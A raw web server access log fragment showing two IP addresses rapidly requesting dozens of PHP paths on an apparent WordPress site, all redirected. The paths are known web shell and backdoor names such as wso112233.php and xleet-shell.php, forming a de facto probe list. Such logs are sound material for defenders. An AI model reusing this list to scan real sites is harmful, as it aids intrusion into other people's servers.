Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:23 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /.well-known/functions.schedules.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-admin/maint/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /home.php?xsec=team2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.85 - - [23/Apr/2025:03:21:24 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-includes/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /randkeyword.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-content/plugins/ioptimization/IOptimize.php?rchk HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:24 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-content/uploads/rk2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /.well-known/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /ss.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:24 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-includes/packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:24 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:24 -0400] "GET /wp-content/plugins/ioxi/retu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-content/uploads/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /components/com_jea/views/form/tmpl/size.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-admin/images/lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /product.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /.well-known/acme-challenge/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /customize.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-includes/widgets/parx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /.well-known/acme-challenge/blurbs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:21:25 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-admin/css/colors/blue/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /test/wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:25 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-content/themes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-content/plugins/js_composer/assets/wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /ui.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-includes/SimplePie/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:25 -0400] "GET /wp-includes/ID3/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-admin/css/colors/coffee/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-admin/css/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.85 - - [23/Apr/2025:03:21:26 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-includes/SimplePie/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-admin/includes/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-crom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.85 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /.well-known/acme-challenge/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-confiq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-content/upgrade/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /geju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wpkey.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:21:26 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /hiroshi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /kl.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.85 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:21:26 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /fun.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /masterjob/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /black.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.85 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:21:27 -0400] "GET /wp-includes/IXR/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel 